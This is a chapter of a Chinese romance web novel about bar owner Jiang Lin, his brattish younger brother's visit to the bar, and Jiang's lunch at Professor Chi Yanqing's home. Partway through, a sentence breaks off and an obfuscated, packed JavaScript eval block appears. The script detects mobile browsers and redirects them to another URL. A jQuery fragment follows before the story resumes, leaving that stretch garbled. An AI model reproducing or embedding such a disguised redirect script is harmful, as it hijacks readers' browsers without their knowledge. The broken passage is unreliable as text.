8. 第八章

作品:《说好一年离,我不分了

    有赵晟这个大喇叭宣传,蒋凛十一假期期间去酒吧就闲不着。


    来个人都得问两句。


    真结婚了?跟谁啊?帅吗?什么时候带过来让大伙看看?


    这阵儿人多,蒋凛天天到店,让这群人问得头都大了。


    他找林葳要了杯冰水,靠着吧台好不容易歇会儿,温佳佳就过来了。


    “干嘛来了?”蒋凛低头瞅她,“红包前天就给你们发了,又来剥削我了?”


    “老板,我可不是那种人,”温佳佳嘻嘻一笑,又压低声音说,“门外好像是你弟,带着几个人,小黄拦着呢,放吗?”


    蒋凛一挑眉,他昨天打电话发消息都没接没回,今天怎么突然来了。


    “什么放不放的,又不是黑店,”蒋凛说,“我去看一眼。”


    蒋朔今年十九,比叶析言大一岁,上大二。


    报考的时候选了个离家挺远的南方学校,除了年节很少回家,跟蒋凛的接触也更少了。


    蒋凛出去的时候,蒋朔身边站着两男两女,看着都像学生。


    黄鹿南在门口拦着不让进,脸色不太好,提醒他们:“我得看看你们身份证,未成年禁止饮酒。”


    “蒋凛呢?我跟他说了我要来,他是你老板,你查身份证是什么意思?”蒋朔皱着眉,似乎觉得没面子了,伸手推了黄鹿南一把。


    这人怎么说都是老板的弟弟,黄鹿南不能动手,硬挨了一下往后退了半步差点摔了。


    一只手按着他后腰,往前扶了一下。


    “老板。”黄鹿南眼睛一亮,立刻走了两步站在蒋凛身后,瞪着这群小屁孩。


    蒋凛没往前走,离蒋朔一米远的地儿,脸上没有笑:“上我这儿撒野来了?”


    蒋朔盯着他,嘴唇动了动,半晌拉住旁边一个女生的胳膊转身要走。


    “回来。”蒋凛说。


    “我不回去!”蒋朔嘴上这么说,人却钉在了原地没再走。


    黄鹿南使劲仰了仰头,强忍着没扑哧乐出来。


    蒋凛没那么多闲心教育孩子什么是礼貌。


    “身份证拿出来。”他走过去,先从蒋朔兜里摸出来一张,看了眼后还给他。


    蒋朔一脸屈辱地瞪着他。


    旁边四个学生哪见过他这种气场的老板,从蒋朔嘴里的描述还以为是个废物呢……真碰见只觉得不好惹。


    老老实实地都交了身份证。


    蒋凛挨个看过去,发现最小的也十九了,就是看着嫩。


    带着人进去,蒋凛把他们都安排到二楼卡座里,亲自拿着酒单让他们点。


    RoomTemp的定位就是高端清吧,环境好,有格调,相应的价格也高,顾客群体里很少有学生。


    酒单上的数字让五个孩子一时间都有些踌躇。


    没人开头,也没人敢点。


    蒋朔是头一次来,脸上绷着,看同学都不点,他抢过酒单,咬牙随便点了几个:“怕什么,我请客。这个,这个,和这个……”


    蒋凛点点头,淡定地问:“用我送你们回去吗?”


    “什么?”蒋朔皱眉,“不用,我自己打车。”


    “喝完这个,这个,和这个……”蒋凛按照他的顺序也点了一遍,语气有点儿戏谑,“你们几个都得横着出去。”


    蒋朔脸歘地红了,语气也急了:“你管我们怎么出去呢!”


    蒋凛翻了一页,在酒单上画了几个大圈,又推到他们面前:“这些度数低,口感相对柔和,拍照也漂亮。”


    有个女生主动说:“这页的真好看,我想试试。”


    有人带头了,五个小孩才挨个选了一杯自己喜欢的。


    蒋凛也不是来找茬的,中途一直给他们介绍,口感、味道、度数、故事……


    这些他太熟了,张口就来。


    帅气的男人低沉的声音,耐心介绍鸡尾酒的场面,着实有魅力。


    蒋朔表情很复杂,同学们眼见着都开始眼冒崇拜了,让他更烦了。


    索性蒋凛很快就下楼了,而且再也没上来过。


    给他们拿酒的是刚刚在门外查身份证的女生,看着年纪没比他们大多少,但是跟蒋凛说话的时候总是笑嘻嘻的,完全不害怕。


    蒋朔从卡座里往一楼看,最后不甘地抿了抿嘴唇,收回视线。


    临近十二点,温佳佳上去结账了。


    蒋凛手指敲了敲吧台,脸上带了点笑,低声说:“葳姐,我明天可能得晚点儿来。”


    “OK。”林葳没问他要干嘛。


    架不住蒋凛自个儿不想藏着,三两句全抖落出来了。


    “明天得去一趟池老师家,”他笑了下,“中午去,看情况吧,情况好可能要吃个饭。”


    林葳比蒋凛大三岁,是酒吧的元老级员工,开店这件事上算是他半个引路人。


    蒋凛确实没雇经理,但是他不在的话,林葳都会帮他盯着。


    人前人后,蒋凛都叫她葳姐。


    看他这幅得意的样儿,林葳意味深长地问:“什么饭得吃一下午加一晚上?”


    蒋凛扑哧乐了:“我可没说晚上,葳姐,你想多了。”


    林葳不跟他争,点头:“是,我想多了。”


    越描越黑了,蒋凛笑得有点停不下来,一转头,温佳佳带着蒋朔一行人过来了。


    度数不高,但喝得多,还是有小屁孩明显脚下踩棉花了。


    蒋朔这个基因更是菜,瞳孔都散黄儿了。


    蒋凛脸上的笑没下去,看向林葳。


    “去吧,晚上我关店。”林葳很默契地说。


    “谢了葳姐。”蒋凛拿了车钥匙,先一步出去了。


    蒋凛提前喊了赵晟,他俩一人一辆车,给这群小屁孩挨个送回家。


    蒋朔估摸是喝晕了,一路上除了那张憋着不服的脸,也没多折腾。


    等蒋凛自己回了家,已经后半夜两点了。


    他没再熬夜,准备好明天要穿的衣服,抓紧躺下睡觉了。


    第二天是个大晴天,国庆第四天,气温也稍有回升。


    蒋凛睡得晚,醒得倒是早,不到八点就起来洗脸刷牙,眼神还透着点困。


    冰箱里准备着一些速冻食品,他都拿出来了,最后还是没热。


    检查了一遍没落下的东西,蒋凛出门前给自己好好捯饬了一下,就这么饿着肚子出去了。


    他提早近一小时出的门,十一假期堵车得厉害,他特意绕了个不太堵的远路。


    上午十一点,蒋凛准时按响了池砚青家的门铃。


    门很快被拉开。


    蒋凛拿东西的手抬起来,嘴角一翘喊了声:“池老师中午好。”


    池砚青笑了声,往旁边让了让:“进来吧。”


    蒋凛边往里走,边用眼神把池砚青从上到下扫了一遍,目光不遮不藏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886712|192040||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。


    池砚青给他拿了双新拖鞋,对这种明目张胆的打量也没什么反感,只问:“看什么呢。”


    “看你衣服呢,”蒋凛弯下腰换鞋,开玩笑说,“我以为你在家都穿西装呢。”


    池砚青也接了这个玩笑:“搞学术终于搞疯了么。”


    蒋凛笑出来,跟着池砚青到客厅。


    手里的东西一进门就被接过去了,他坐到沙发上,说:“朋友家在农村有块地,十月份好水果都下来了,他家石榴我觉得最好吃,想着你也尝尝。”


    “人脉挺广,我爱吃什么都打听出来了,”池砚青看着他,“谢谢。”


    “我提前报备过了,”蒋凛弯着眼睛跟人耍赖,“池老师,你可不能给我扣分儿啊。”


    池砚青把提前洗好的水果盘往他那边推了推,漫不经心地说:“不扣。”


    俩人聊了两句堵不堵车的小事,池砚青就给蒋凛一个人扔客厅了,自己拿着东西去了厨房。


    一点儿也没拿他当外人似的。


    但蒋凛不能真不把自己当外人,他规规矩矩地坐着没动。


    浑身上下就一双眼睛不老实,给池砚青家客厅都快在脑海里拓下来了。


    和身上的浅色家居服一样,池砚青家的装修不是蒋凛刻板印象中的极简风,软装反而有些温馨,浅色为主。


    地板上铺着很柔软的地毯,蒋凛踩着都有点飘。


    但就是越看越觉得哪儿别扭,他研究了半天才发现,这屋子太“板正”了。


    什么东西就放在什么地儿,一厘米不差似的,干净得不像有人长期住。


    多的蒋凛就没想了,因为他闻到了一点香味儿。


    一转头,池砚青喊他过去。


    蒋凛走到餐厅,桌子上已经摆了一些吃的。


    蒋凛明知故问:“池老师,你没吃午饭呢?”


    池砚青不搭理他,拉开一张椅子,说:“坐。”


    “我——”蒋凛还想说什么,池砚青没让他张嘴。


    “吃完了再说。”池砚青在他对面坐下了。


    蒋凛看了看被拉开的椅子,摸了摸鼻子,头一回拿不准对面人是个什么心情,只好老老实实地坐下,拿着碗筷开始吃饭。


    池砚青没吃,但也没闲着,戴上手套开始剥石榴。


    可能是身上的教授气质太浓,他哪怕干这种小事都显得一丝不苟。


    蒋凛头一回这么让人“看着”吃饭,挺大方的人,这会儿倒有点拘束了。


    他不习惯这么被动着,喝了口水开始找话题。


    “池老师,你手艺不错。”


    池砚青抬眼:“合你口味?”


    “我吃饭不挑,我自己做的挺难吃的我都能吃下去,”蒋凛自嘲地说,“但这次是真好吃。”


    “看出来了,”池砚青剥完一个,又拿了下一个,“早上不爱吃自己做的。”


    他强调了“不爱吃”三个字,蒋凛低头笑了一声,知道自己那点心思都让人看出来了,也不害臊。


    他又吃了几口,接着说:“也不是,我的手艺我都吃腻歪了,冰箱里囤了不少速冻食品。”


    池砚青没评价他的生活习惯,这种事儿说了就太“近”了,他们还不是那种关系。


    他只是把剥好的一碗石榴籽推到了蒋凛手边。


    蒋凛的视线从他手上划过,自然地伸手拿过碗,又往自己这边放了放。